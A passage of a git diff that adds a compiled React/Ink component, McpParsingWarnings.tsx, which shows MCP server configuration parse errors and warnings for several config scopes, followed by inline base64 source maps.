QUFDLElBQUksQ0FBQyxLQUFLLENBQUMsT0FBTztBQUNuQyxrQkFBa0IsQ0FBQ2hNLGFBQWEsS0FBSyxRQUFRLEdBQUduRyxPQUFPLENBQUM0USxPQUFPLEdBQUcsR0FBRztBQUNyRSxnQkFBZ0IsRUFBRSxJQUFJO0FBQ3RCLGdCQUFnQixDQUFDLElBQUksQ0FDSCxJQUFJLENBQUMsQ0FBQ3pLLGFBQWEsS0FBSyxRQUFRLENBQUMsQ0FDakMsS0FBSyxDQUFDLENBQUNBLGFBQWEsS0FBSyxRQUFRLEdBQUcsT0FBTyxHQUFHaEQsU0FBUyxDQUFDLENBQ3hELFFBQVEsQ0FBQyxDQUFDZ0QsYUFBYSxLQUFLLFFBQVEsQ0FBQztBQUV2RCxrQkFBa0IsQ0FBQyxTQUFTO0FBQzVCLGdCQUFnQixFQUFFLElBQUk7QUFDdEIsY0FBYyxHQUNEO0FBQ2IsVUFBVSxFQUFFLEdBQUc7QUFDZixRQUFRLEVBQUUsR0FBRztBQUNiLE1BQU0sRUFBRSxNQUFNLENBQUM7RUFFYjtFQUVBLE9BQ0UsQ0FBQyxNQUFNLENBQ0wsS0FBSyxDQUFDLENBQUMsb0JBQW9CVCxVQUFVLDRCQUE0QixDQUFDLENBQ2xFLFFBQVEsQ0FBQyxDQUFDLEtBQUtHLE9BQU8sRUFBRSxDQUFDLENBQ3pCLEtBQUssQ0FBQyxZQUFZLENBQ2xCLFFBQVEsQ0FBQyxDQUFDLE1BQU01RCxVQUFVLENBQUMsUUFBUSxDQUFDLENBQUMsQ0FDckMsY0FBYyxDQUNkLFVBQVUsQ0FBQyxDQUFDd1AsV0FBUyxJQUNuQkEsV0FBUyxDQUFDQyxPQUFPLEdBQ2YsQ0FBQyxJQUFJLENBQUMsTUFBTSxDQUFDRCxXQUFTLENBQUNFLE9BQU8sQ0FBQyxjQUFjLEVBQUUsSUFBSSxDQUFDLEdBRXBELENBQUMsTUFBTTtBQUNqQixZQUFZLENBQUMsd0JBQXdCLENBQ3ZCLE1BQU0sQ0FBQyxZQUFZLENBQ25CLE9BQU8sQ0FBQyxjQUFjLENBQ3RCLFFBQVEsQ0FBQyxLQUFLLENBQ2QsV0FBVyxDQUFDLFFBQVE7QUFFbEMsWUFBWSxDQUFDLG9CQUFvQixDQUFDLFFBQVEsQ0FBQyxjQUFjLENBQUMsTUFBTSxDQUFDLFFBQVE7QUFDekUsVUFBVSxFQUFFLE1BQU0sQ0FFWixDQUFDO0FBRVAsTUFBTSxDQUFDLEdBQUcsQ0FBQyxhQUFhLENBQUMsUUFBUTtBQUNqQyxRQUFRLENBQUMsR0FBRyxDQUFDLFlBQVksQ0FBQyxDQUFDLENBQUMsQ0FBQyxDQUFDLGFBQWEsQ0FBQyxRQUFRO0FBQ3BELFVBQVUsQ0FBQyxJQUFJO0FBQ2YsWUFBWSxDQUFDVyxlQUFlO0FBQzVCLFlBQVksQ0FBQyxJQUFJLENBQUMsSUFBSSxDQUFDLENBQUNELE1BQU0sQ0FBQyxFQUFFLElBQUk7QUFDckMsWUFBWSxDQUFDRSxjQUFjO0FBQzNCLFVBQVUsRUFBRSxJQUFJO0FBQ2hCLFFBQVEsRUFBRSxHQUFHO0FBQ2IsUUFBUSxDQUFDLEdBQUc7QUFDWixVQUFVLENBQUMsSUFBSSxDQUFDLEtBQUssQ0FBQyxTQUFTO0FBQy9CLFlBQVksQ0FBQ3BNLGFBQWEsS0FBSyxRQUFRLEdBQUduRyxPQUFPLENBQUM0USxPQUFPLEdBQUcsR0FBRztBQUMvRCxVQUFVLEVBQUUsSUFBSTtBQUNoQixVQUFVLENBQUMsSUFBSSxDQUNILElBQUksQ0FBQyxDQUFDekssYUFBYSxLQUFLLFFBQVEsQ0FBQyxDQUNqQyxLQUFLLENBQUMsQ0FBQ0EsYUFBYSxLQUFLLFFBQVEsR0FBRyxTQUFTLEdBQUdoRCxTQUFTLENBQUMsQ0FDMUQsUUFBUSxDQUFDLENBQUNnRCxhQUFhLEtBQUssUUFBUSxDQUFDO0FBRWpELFlBQVksQ0FBQyxXQUFXO0FBQ3hCLFVBQVUsRUFBRSxJQUFJO0FBQ2hCLFVBQVUsQ0FBQyxJQUFJLENBQUMsS0FBSyxDQUFDLE9BQU87QUFDN0IsWUFBWSxDQUFDQSxhQUFhLEtBQUssU0FBUyxHQUFHbkcsT0FBTyxDQUFDNFEsT0FBTyxHQUFHLEdBQUc7QUFDaEUsVUFBVSxFQUFFLElBQUk7QUFDaEIsVUFBVSxDQUFDLElBQUksQ0FDSCxJQUFJLENBQUMsQ0FBQ3pLLGFBQWEsS0FBSyxTQUFTLENBQUMsQ0FDbEMsS0FBSyxDQUFDLENBQUNBLGFBQWEsS0FBSyxTQUFTLEdBQUcsT0FBTyxHQUFHaEQsU0FBUyxDQUFDLENBQ3pELFFBQVEsQ0FBQyxDQUFDZ0QsYUFBYSxLQUFLLFNBQVMsQ0FBQztBQUVsRCxZQUFZLENBQUMsVUFBVTtBQUN2QixVQUFVLEVBQUUsSUFBSTtBQUNoQixRQUFRLEVBQUUsR0FBRztBQUNiLE1BQU0sRUFBRSxHQUFHO0FBQ1gsSUFBSSxFQUFFLE1BQU0sQ0FBQztBQUViIiwiaWdub3JlTGlzdCI6W119
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/mcp/McpParsingWarnings.tsx b/_all-in-one-upload/cc-haha/src/components/mcp/McpParsingWarnings.tsx
new file mode 100644
index 0000000..db13014
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/mcp/McpParsingWarnings.tsx
@@ -0,0 +1,213 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { useMemo } from 'react';
+import { getMcpConfigsByScope } from 'src/services/mcp/config.js';
+import type { ConfigScope } from 'src/services/mcp/types.js';
+import { describeMcpConfigFilePath, getScopeLabel } from 'src/services/mcp/utils.js';
+import type { ValidationError } from 'src/utils/settings/validation.js';
+import { Box, Link, Text } from '../../ink.js';
+function McpConfigErrorSection(t0) {
+  const $ = _c(26);
+  const {
+    scope,
+    parsingErrors,
+    warnings
+  } = t0;
+  const hasErrors = parsingErrors.length > 0;
+  const hasWarnings = warnings.length > 0;
+  if (!hasErrors && !hasWarnings) {
+    return null;
+  }
+  let t1;
+  if ($[0] !== hasErrors || $[1] !== hasWarnings) {
+    t1 = (hasErrors || hasWarnings) && <Text color={hasErrors ? "error" : "warning"}>[{hasErrors ? "Failed to parse" : "Contains warnings"}]{" "}</Text>;
+    $[0] = hasErrors;
+    $[1] = hasWarnings;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] !== scope) {
+    t2 = getScopeLabel(scope);
+    $[3] = scope;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  let t3;
+  if ($[5] !== t2) {
+    t3 = <Text>{t2}</Text>;
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  let t4;
+  if ($[7] !== t1 || $[8] !== t3) {
+    t4 = <Box>{t1}{t3}</Box>;
+    $[7] = t1;
+    $[8] = t3;
+    $[9] = t4;
+  } else {
+    t4 = $[9];
+  }
+  let t5;
+  if ($[10] === Symbol.for("react.memo_cache_sentinel")) {
+    t5 = <Text dimColor={true}>Location: </Text>;
+    $[10] = t5;
+  } else {
+    t5 = $[10];
+  }
+  let t6;
+  if ($[11] !== scope) {
+    t6 = describeMcpConfigFilePath(scope);
+    $[11] = scope;
+    $[12] = t6;
+  } else {
+    t6 = $[12];
+  }
+  let t7;
+  if ($[13] !== t6) {
+    t7 = <Box>{t5}<Text dimColor={true}>{t6}</Text></Box>;
+    $[13] = t6;
+    $[14] = t7;
+  } else {
+    t7 = $[14];
+  }
+  let t8;
+  if ($[15] !== parsingErrors) {
+    t8 = parsingErrors.map(_temp);
+    $[15] = parsingErrors;
+    $[16] = t8;
+  } else {
+    t8 = $[16];
+  }
+  let t9;
+  if ($[17] !== warnings) {
+    t9 = warnings.map(_temp2);
+    $[17] = warnings;
+    $[18] = t9;
+  } else {
+    t9 = $[18];
+  }
+  let t10;
+  if ($[19] !== t8 || $[20] !== t9) {
+    t10 = <Box marginLeft={1} flexDirection="column">{t8}{t9}</Box>;
+    $[19] = t8;
+    $[20] = t9;
+    $[21] = t10;
+  } else {
+    t10 = $[21];
+  }
+  let t11;
+  if ($[22] !== t10 || $[23] !== t4 || $[24] !== t7) {
+    t11 = <Box flexDirection="column" marginTop={1}>{t4}{t7}{t10}</Box>;
+    $[22] = t10;
+    $[23] = t4;
+    $[24] = t7;
+    $[25] = t11;
+  } else {
+    t11 = $[25];
+  }
+  return t11;
+}
+function _temp2(warning, i_0) {
+  const serverName_0 = warning.mcpErrorMetadata?.serverName;
+  return <Box key={`warning-${i_0}`}><Text><Text dimColor={true}>└ </Text><Text color="warning">[Warning]</Text><Text dimColor={true}>{" "}{serverName_0 && `[${serverName_0}] `}{warning.path && warning.path !== "" ? `${warning.path}: ` : ""}{warning.message}</Text></Text></Box>;
+}
+function _temp(error, i) {
+  const serverName = error.mcpErrorMetadata?.serverName;
+  return <Box key={`error-${i}`}><Text><Text dimColor={true}>└ </Text><Text color="error">[Error]</Text><Text dimColor={true}>{" "}{serverName && `[${serverName}] `}{error.path && error.path !== "" ? `${error.path}: ` : ""}{error.message}</Text></Text></Box>;
+}
+export function McpParsingWarnings() {
+  const $ = _c(6);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = {
+      scope: "user",
+      config: getMcpConfigsByScope("user")
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = {
+      scope: "project",
+      config: getMcpConfigsByScope("project")
+    };
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = {
+      scope: "local",
+      config: getMcpConfigsByScope("local")
+    };
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  let t3;
+  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+    t3 = [t0, t1, t2, {
+      scope: "enterprise",
+      config: getMcpConfigsByScope("enterprise")
+    }];
+    $[3] = t3;
+  } else {
+    t3 = $[3];
+  }
+  const scopes = t3 satisfies Array<{
+    scope: ConfigScope;
+    config: {
+      errors: ValidationError[];
+    };
+  }>;
+  const hasParsingErrors = scopes.some(_temp3);
+  const hasWarnings = scopes.some(_temp4);
+  if (!hasParsingErrors && !hasWarnings) {
+    return null;
+  }
+  let t4;
+  if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
+    t4 = <Text bold={true}>MCP Config Diagnostics</Text>;
+    $[4] = t4;
+  } else {
+    t4 = $[4];
+  }
+  let t5;
+  if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
+    t5 = <Box flexDirection="column" marginTop={1} marginBottom={1}>{t4}<Box marginTop={1}><Text dimColor={true}>For help configuring MCP servers, see:{" "}<Link url="https://code.claude.com/docs/en/mcp">https://code.claude.com/docs/en/mcp</Link></Text></Box>{scopes.map(_temp5)}</Box>;
+    $[5] = t5;
+  } else {
+    t5 = $[5];
+  }
+  return t5;
+}
+function _temp5(t0) {
+  const {
+    scope,
+    config: config_1
+  } = t0;
+  return <McpConfigErrorSection key={scope} scope={scope} parsingErrors={filterErrors(config_1.errors, "fatal")} warnings={filterErrors(config_1.errors, "warning")} />;
+}
+function _temp4(t0) {
+  const {
+    config: config_0
+  } = t0;
+  return filterErrors(config_0.errors, "warning").length > 0;
+}
+function _temp3(t0) {
+  const {
+    config
+  } = t0;
+  return filterErrors(config.errors, "fatal").length > 0;
+}
+function filterErrors(errors: ValidationError[], severity: 'fatal' | 'warning'): ValidationError[] {
+  return errors.filter(e => e.mcpErrorMetadata?.severity === severity);
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInVzZU1lbW8iLCJnZXRNY3BDb25maWdzQnlTY29wZSIsIkNvbmZpZ1Njb3BlIiwiZGVzY3JpYmVNY3BDb25maWdGaWxlUGF0aCIsImdldFNjb3BlTGFiZWwiLCJWYWxpZGF0aW9uRXJyb3IiLCJCb3giLCJMaW5rIiwiVGV4dCIsIk1jcENvbmZpZ0Vycm9yU2VjdGlvbiIsInQwIiwiJCIsIl9jIiwic2NvcGUiLCJwYXJzaW5nRXJyb3JzIiwid2FybmluZ3MiLCJoYXNFcnJvcnMiLCJsZW5ndGgiLCJoYXNXYXJuaW5ncyIsInQxIiwidDIiLCJ0MyIsInQ0IiwidDUiLCJTeW1ib2wiLCJmb3IiLCJ0NiIsInQ3IiwidDgiLCJtYXAiLCJfdGVtcCIsInQ5IiwiX3RlbXAyIiwidDEwIiwidDExIiwid2FybmluZyIsImlfMCIsInNlcnZlck5hbWVfMCIsIm1jcEVycm9yTWV0YWRhdGEiLCJzZXJ2ZXJOYW1lIiwiaSIsInBhdGgiLCJtZXNzYWdlIiwiZXJyb3IiLCJNY3BQYXJzaW5nV2FybmluZ3MiLCJjb25maWciLCJzY29wZXMiLCJBcnJheSIsImVycm9ycyIsImhhc1BhcnNpbmdFcnJvcnMiLCJzb21lIiwiX3RlbXAzIiwiX3RlbXA0IiwiX3RlbXA1IiwiY29uZmlnXzEiLCJmaWx0ZXJFcnJvcnMiLCJjb25maWdfMCIsInNldmVyaXR5IiwiZmlsdGVyIiwiZSJdLCJzb3VyY2VzIjpbIk1jcFBhcnNpbmdXYXJuaW5ncy50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IFJlYWN0LCB7IHVzZU1lbW8gfSBmcm9tICdyZWFjdCdcbmltcG9ydCB7IGdldE1jcENvbmZpZ3NCeVNjb3BlIH0gZnJvbSAnc3JjL3NlcnZpY2VzL21jcC9jb25maWcuanMnXG5pbXBvcnQgdHlwZSB7IENvbmZpZ1Njb3BlIH0gZnJvbSAnc3JjL3NlcnZpY2VzL21jcC90eXBlcy5qcydcbmltcG9ydCB7XG4gIGRlc2NyaWJlTWNwQ29uZmlnRmlsZVBhdGgsXG4gIGdldFNjb3BlTGFiZWwsXG59IGZyb20gJ3NyYy9zZXJ2aWNlcy9tY3AvdXRpbHMuanMnXG5pbXBvcnQgdHlwZSB7IFZhbGlkYXRpb25FcnJvciB9IGZyb20gJ3NyYy91dGlscy9zZXR0aW5ncy92YWxpZGF0aW9uLmpzJ1xuaW1wb3J0IHsgQm94LCBMaW5rLCBUZXh0IH0gZnJvbSAnLi4vLi4vaW5rLmpzJ1xuXG5mdW5jdGlvbiBNY3BDb25maWdFcnJvclNlY3Rpb24oe1xuICBzY29wZSxcbiAgcGFyc2luZ0Vycm9ycyxcbiAgd2FybmluZ3MsXG59OiB7XG4gIHNjb3BlOiBDb25maWdTY29wZVxuICBwYXJzaW5nRXJyb3JzOiBWYWxpZGF0aW9uRXJyb3JbXVxuICB3YXJuaW5nczogVmFsaWRhdGlvbkVycm9yW11cbn0pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBoYXNFcnJvcnMgPSBwYXJzaW5nRXJyb3JzLmxlbmd0aCA+IDBcbiAgY29uc3QgaGFzV2FybmluZ3MgPSB3YXJuaW5ncy5sZW5ndGggPiAwXG5cbiAgaWYgKCFoYXNFcnJvcnMgJiYgIWhhc1dhcm5pbmdzKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgIDxCb3g+XG4gICAgICAgIHsoaGFzRXJyb3JzIHx8IGhhc1dhcm5pbmdzKSAmJiAoXG4gICAgICAgICAgPFRleHQgY29sb3I9e2hhc0Vycm9ycyA/ICdlcnJvcicgOiAnd2FybmluZyd9PlxuICAgICAgICAgICAgW3toYXNFcnJvcnMgPyAnRmFpbGVkIHRvIHBhcnNlJyA6ICdDb250YWlucyB3YXJuaW5ncyd9XXsnICd9XG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICApfVxuICAgICAgICA8VGV4dD57Z2V0U2NvcGVMYWJlbChzY29wZSl9PC9UZXh0PlxuICAgICAgPC9Cb3g+XG4gICAgICA8Qm94PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5Mb2NhdGlvbjogPC9UZXh0PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj57ZGVzY3JpYmVNY3BDb25maWdGaWxlUGF0aChzY29wZSl9PC9UZXh0PlxuICAgICAgPC9Cb3g+XG4gICAgICA8Qm94IG1hcmdpbkxlZnQ9ezF9IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAge3BhcnNpbmdFcnJvcnMubWFwKChlcnJvciwgaSkgPT4ge1xuICAgICAgICAgIGNvbnN0IHNlcnZlck5hbWUgPSBlcnJvci5tY3BFcnJvck1ldGFkYXRhPy5zZXJ2ZXJOYW1lXG4gICAgICAgICAgcmV0dXJuIChcbiAgICAgICAgICAgIDxCb3gga2V5PXtgZXJyb3ItJHtpfWB9PlxuICAgICAgICAgICAgICA8VGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj7ilJQgPC9UZXh0PlxuICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwiZXJyb3JcIj5bRXJyb3JdPC9UZXh0PlxuICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgICAgICAgICAgeycgJ31cbiAgICAgICAgICAgICAgICAgIHtzZXJ2ZXJOYW1lICYmIGBbJHtzZXJ2ZXJOYW1lfV0gYH1cbiAgICAgICAgICAgICAgICAgIHtlcnJvci5wYXRoICYmIGVycm9yLnBhdGggIT09ICcnID8gYCR7ZXJyb3IucGF0aH06IGAgOiAnJ31cbiAgICAgICAgICAgICAgICAgIHtlcnJvci5tZXNzYWdlfVxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgKVxuICAgICAgICB9KX1cbiAgICAgICAge3dhcm5pbmdzLm1hcCgod2FybmluZywgaSkgPT4ge1xuICAgICAgICAgIGNvbnN0IHNlcnZlck5hbWUgPSB3YXJuaW5nLm1jcEVycm9yTWV0YWRhdGE/LnNlcnZlck5hbWVcblxuICAgICAgICAgIHJldHVybiAoXG4gICAgICAgICAgICA8Qm94IGtleT17YHdhcm5pbmctJHtpfWB9PlxuICAgICAgICAgICAgICA8VGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj7ilJQgPC9UZXh0PlxuICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwid2FybmluZ1wiPltXYXJuaW5nXTwvVGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgICAgICAgIHsnICd9XG4gICAgICAgICAgICAgICAgICB7c2VydmVyTmFtZSAmJiBgWyR7c2VydmVyTmFtZX1dIGB9XG4gICAgICAgICAgICAgICAgICB7d2FybmluZy5wYXRoICYmIHdhcm5pbmcucGF0aCAhPT0gJydcbiAgICAgICAgICAgICAgICAgICAgPyBgJHt3YXJuaW5nLnBhdGh9OiBgXG4gICAgICAgICAgICAgICAgICAgIDogJyd9XG4gICAgICAgICAgICAgICAgICB7d2FybmluZy5tZXNzYWdlfVxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgKVxuICAgICAgICB9KX1cbiAgICAgIDwvQm94PlxuICAgIDwvQm94PlxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBNY3BQYXJzaW5nV2FybmluZ3MoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgLy8gQ29uZmlnIGZpbGVzIGRvbid0IGNoYW5nZSBkdXJpbmcgZGlhbG9nIGxpZmV0aW1lOyByZWFkIG9uY2Ugb24gbW91bnRcbiAgLy8gdG8gYXZvaWQgYmxvY2tpbmcgZmlsZSBJTyBvbiBldmVyeSByZS1yZW5kZXIuXG4gIGNvbnN0IHNjb3BlcyA9IHVzZU1lbW8oXG4gICAgKCkgPT5cbiAgICAgIFtcbiAgICAgICAgeyBzY29wZTogJ3VzZXInLCBjb25maWc6IGdldE1jcENvbmZpZ3NCeVNjb3BlKCd1c2VyJykgfSxcbiAgICAgICAgeyBzY29wZTogJ3Byb2plY3QnLCBjb25maWc6IGdldE1jcENvbmZpZ3NCeVNjb3BlKCdwcm9qZWN0JykgfSxcbiAgICAgICAgeyBzY29wZTogJ2xvY2FsJywgY29uZmlnOiBnZXRNY3BDb25maWdzQnlTY29wZSgnbG9jYWwnKSB9LFxuICAgICAgICB7IHNjb3BlOiAnZW50ZXJwcmlzZScsIGNvbmZpZzogZ2V0TWNwQ29uZmlnc0J5U2NvcGUoJ2VudGVycHJpc2UnKSB9LFxuICAgICAgXSBzYXRpc2ZpZXMgQXJyYXk8e1xuICAgICAgICBzY29wZTogQ29uZmlnU2NvcGVcbiAgICAgICAgY29uZmlnOiB7IGVycm9yczogVmFsaWRhdGlvbkVycm9yW10gfVxuICAgICAgfT4sXG4gICAgW10sXG4gIClcblxuICBjb25zdCBoYXNQYXJzaW5nRXJyb3JzID0gc2NvcGVzLnNvbWUoXG4gICAgKHsgY29uZmlnIH0pID0+IGZpbHRlckVycm9ycyhjb25maWcuZXJyb3JzLCAnZmF0YWwnKS5sZW5ndGggPiAwLFxuICApXG4gIGNvbnN0IGhhc1dhcm5pbmdzID0gc2NvcGVzLnNvbWUoXG4gICAgKHsgY29uZmlnIH0pID0+IGZpbHRlckVycm9ycyhjb25maWcuZXJyb3JzLCAnd2FybmluZycpLmxlbmd0aCA+IDAsXG4gIClcblxuICBpZiAoIWhhc1BhcnNpbmdFcnJvcnMgJiYgIWhhc1dhcm5pbmdzKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfSBtYXJnaW5Cb3R0b209ezF9PlxuICAgICAgPFRleHQgYm9sZD5NQ1AgQ29uZmlnIERpYWdub3N0aWNzPC9UZXh0PlxuICAgICAgPEJveCBtYXJnaW5Ub3A9ezF9PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICBGb3IgaGVscCBjb25maWd1cmluZyBNQ1Agc2VydmVycywgc2VlOnsnICd9XG4gICAgICAgICAgPExpbmsgdXJsPVwiaHR0cHM6Ly9jb2RlLmNsYXVkZS5jb20vZG9jcy9lbi9tY3BcIj5cbiAgICAgICAgICAgIGh0dHBzOi8vY29kZS5jbGF1ZGUuY29tL2RvY3MvZW4vbWNwXG4gICAgICAgICAgPC9MaW5rPlxuICAgICAgICA8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICAgIHtzY29wZXMubWFwKCh7IHNjb3BlLCBjb25maWcgfSkgPT4gKFxuICAgICAgICA8TWNwQ29uZmlnRXJyb3JTZWN0aW9uXG4gICAgICAgICAga2V5PXtzY29wZX1cbiAgICAgICAgICBzY29wZT17c2NvcGV9XG4gICAgICAgICAgcGFyc2luZ0Vycm9ycz17ZmlsdGVyRXJyb3JzKGNvbmZpZy5lcnJvcnMsICdmYXRhbCcpfVxuICAgICAgICAgIHdhcm5pbmdzPXtmaWx0ZXJFcnJvcnMoY29uZmlnLmVycm9ycywgJ3dhcm5pbmcnKX1cbiAgICAgICAgLz5cbiAgICAgICkpfVxuICAgICAgey8qIFRPRE86IEFkZCBhZGRpdGlvbmFsIGRpYWdub3N0aWMgc2VjdGlvbnM6XG4gICAgICAgKiAtIER1cGxpY2F0ZSBTZXJ2ZXIgTmFtZXMgKGNoZWNrIGZvciBzZXJ2ZXJzIHdpdGggc2FtZSBuYW1lIGFjcm9zcyBzY29wZXMpXG4gICAgICAgKiBUaGlzIHNlY3Rpb24gc2hvdWxkIGluY2x1ZGU6XG4gICAgICAgKiAtIEZpbGUgcGF0aHMgd2hlcmUgZWFjaCBzZXJ2ZXIgaXMgZGVmaW5lZFxuICAgICAgICogLSBNb3JlIGRldGFpbGVkIGxvY2F0aW9uIGluZm8gZm9yIHVzZXIvbG9jYWwgc2NvcGVzXG4gICAgICAgKiAtIEFwcHJvdmVkIC8gZGlzYWJsZWQgc3RhdHVzIG9mIHNlcnZlcnNcbiAgICAgICAqL31cbiAgICA8L0JveD5cbiAgKVxufVxuXG5mdW5jdGlvbiBmaWx0ZXJFcnJvcnMoXG4gIGVycm9yczogVmFsaWRhdGlvbkVycm9yW10sXG4gIHNldmVyaXR5OiAnZmF0YWwnIHwgJ3dhcm5pbmcnLFxuKTogVmFsaWRhdGlvbkVycm9yW10ge1xuICByZXR1cm4gZXJyb3JzLmZpbHRlcihlID0+IGUubWNwRXJyb3JNZXRhZGF0YT8uc2V2ZXJpdHkgPT09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